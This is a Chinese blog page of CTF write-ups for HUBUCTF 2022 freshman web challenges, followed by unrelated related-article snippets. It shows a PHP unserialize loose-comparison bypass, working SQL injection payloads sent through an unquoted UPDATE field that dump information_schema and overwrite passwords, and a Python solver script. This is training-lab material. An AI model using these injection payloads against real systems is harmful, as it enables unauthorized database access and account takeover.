既然是母校,那一定要好好对待~    2024-01-13 22:42:34


WEB  [HUBUCTF 2022 新生赛]checkin

题目链接:checkin

原题

<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!"; } ?>
username or password error!

一道字符串反序列化的题,相关构造就可以。

<?php

$info=['username'=>"this_is_secret",'password'=>"this_is_not_known_to_you"];
echo urlencode(serialize($info));
?>
本来信心满满,但是又被现实击垮。还是不行。原题所改变了值。结合下面的弱比较,如果改完的字符串没有以数字开头就可以用0弱比较绕过。
把脚本的两个参数改成数字0既可以绕过。
得到flag:NSSCTF{df0b1d5c-d3e8-426d-887a-3eabe68f61bb}

web  [HUBUCTF 2022 新生赛]ezsql

原题链接:easysql

经过测试admin" or 1=1--+注册后,可以直接进去,但是翻遍了没有一点信息,应该是覆盖了原来的信息,目录遍历一下吧。

看到了www.tar.gz,源码泄露

好多源码,代码审计!

查看update.php,

$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");

我们只要在中间加上password=***,token置空,就能更改password了。

改完还是不行,估计密码不是明文存储。这个输入点还可以直接使用sql语句,注意我的问题,这么写肯定是错的。

foreach($_POST as $key=>$value){
    $_POST[$key]=addslashes($value);
} update.php中也有这句话,它将双引号单引号都过滤了。注入点为什么在age呢,因为age必须是整数,那么他就可能将是双引号去掉了!。

得到数据库名demo2

nickname=(select 1)&age=(select 1),description=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&token=4b29f27a4354d745055045c0c7c97891

得到表名:user.注意每次的sessionid都不一样,不能重放。

nickname=1&age=(select 1),description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)#&token=3e9be9bb4eb8225f70379a9c57cd83b5

之后用表名查列名,但是我不知道表名为什么非要用16进制,就像下面的图一样,总之,最后然后获取密码,重开环境。


[HUBUCTF 2022 新生赛]Calculate

意思很明显,编写脚本。先抓个包,cookie是必须带的

参考https://blog.csdn.net/Jayjay___/article/details/134805314,    个人进行了改进。

# -*- coding:utf-8 -*-
"""
作者:Wang Xinwei
日期:2024年01月18日
"""
import requests
import time
import re url = 'http://node5.anna.nssctf.cn:28169/'
res = requests.session() #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。 for i in range(1, 21):
print(f"正在执行第{i}次------")
math = "" response = res.get(url) #发get包,获取题目 resTest = response.text #获取返回包的内容
li=re.findall(">([0-9*/+-])<",resTest)
math="".join(li)
print(math)
num = eval(math) #计算数学表达式的值 myData = { #构造的POST数据
'ans': num
}
time.sleep(1) # 睡一秒
response = res.post(url, data=myData) #发post包,提交答案 if "NSSCTF{" in response.text: #如果返回包里面有flag
print("Flaggggggggg: ", response.text)
exit() # 退出当前程序,也可以break

HUBUCTF 2022新生赛Writeup的更多相关文章

  1. SCNU ACM 2016新生赛初赛 解题报告

    新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他 ...

  2. SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告

            题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音?       ...

  3. Codeforces 801 A.Vicious Keyboard & Jxnu Group Programming Ladder Tournament 2017江西师大新生赛 L1-2.叶神的字符串

    A. Vicious Keyboard time limit per test 2 seconds memory limit per test 256 megabytes input standard ...

  4. [ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist

    [ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码 ...

  5. [BUUCTF]REVERSE——[ACTF新生赛2020]Oruga

    [ACTF新生赛2020]Oruga 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,检索字符串,根据提示来到关键函数 14行~18行就是让字符串的前5位是 actf{ ,sub_78A( ...

  6. [BUUCTF]REVERSE——[ACTF新生赛2020]usualCrypt

    [ACTF新生赛2020]usualCrypt 附件 步骤: 例行检查,无壳,32位程序 32位ida载入,直接看main函数 逻辑很简单,一开始让我们输入一个字符串,然后该字符串经过sub_4010 ...

  7. [BUUCTF]REVERSE——[ACTF新生赛2020]rome

    [ACTF新生赛2020]rome 附件 步骤 无壳,32位程序 32位ida载入,根据提示字符串"You are correct!",找到关键函数func v15 = 'Q'; ...

  8. [BUUCTF]REVERSE——[ACTF新生赛2020]easyre

    [ACTF新生赛2020]easyre 附件 步骤 查壳,32位程序,upx壳儿 脱完壳儿,扔进ida 分析 一开始给我们定义了一个数组, v4=[42,70,39,34,78,44,34,40,73 ...

  9. GDOU-CTF-2023新生赛Pwn题解与反思

    第一次参加CTF新生赛总结与反思 因为昨天学校那边要进行天梯模拟赛,所以被拉过去了.16点30分结束,就跑回来宿舍开始写.第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上 ...

  10. SCNU ACM 2016新生赛决赛 解题报告

    新生初赛题目.解题思路.参考代码一览 A. 拒绝虐狗 Problem Description CZJ 去排队打饭的时候看到前面有几对情侣秀恩爱,作为单身狗的 CZJ 表示很难受. 现在给出一个字符串代 ...

随机推荐

  1. 没有苹果开发者账号能否创建ios证书-最新

    ​ 摘要: 本文介绍了在没有Mac电脑的情况下,使用appuploader工具生成iOS证书和描述文件的方法.随着大前端和H5框架的热门话题,越来越多的人希望将H5应用打包成iOS应用.苹果官方提供的 ...

  2. MappedByteBuffer 写文件

    MappedByteBuffer中"put"和"force"的区别是什么 put()将数据存储在缓冲区中,force()通知操作系统将缓冲区刷新到磁盘. put ...

  3. Google Guava ListeningExecutorService

    POM <!-- https://mvnrepository.com/artifact/com.google.guava/guava --> <dependency> < ...

  4. 备份批处理文件 bat 生成 date 取年时,只取到周

    备份数据库文件时,发现MySQL备份生成的文件名为 [vipsoft_周三],发现是系统的日期格式问题.需调整日期格式,生成 [vipsoft_20220601.sql] mysqldump -uro ...

  5. 基于C++11特性的线程池

    写在前面:本文学习自基于C++11实现线程池,代码部分均属于该博主,自己只是想记录以下自己的认知,并以这种方式加深一下自己对于多线程的理解 1 前置知识 RAII管理机制 简单来说RAII机制是一种对 ...

  6. 为什么加了@Transactional注解,事务没有回滚?

    在昨天的<事务管理入门>一文发布之后,有读者联系说根据文章尝试,加了@Transactional注解之后,事务并没有回滚.经过一顿沟通排查之后,找到了原因,在此记录一下,给后面如果碰到类似 ...

  7. SpringCloud学习 系列十、服务熔断与降级(1-简介)

    系列导航 SpringCloud学习 系列一. 前言-为什么要学习微服务 SpringCloud学习 系列二. 简介 SpringCloud学习 系列三. 创建一个没有使用springCloud的服务 ...

  8. 如何安全的大数据量表在线进行DDL操作

    本文为博主原创,转载请注明出处 随着业务的需要,工作中需要对生产数据库的一些表做一些DDL操作,由于生产数据库表的数据量都是几千万, 而且生产数据库的表还在不断的进行新增和查询操作.应用中需要对生产数 ...

  9. [java] - servlet路径跳转

    Index.jsp <a href="servlet/HelloServlet">servlet/HelloServlet</a><br> &l ...

  10. Go-基本类型-int-float-bool-byte-rune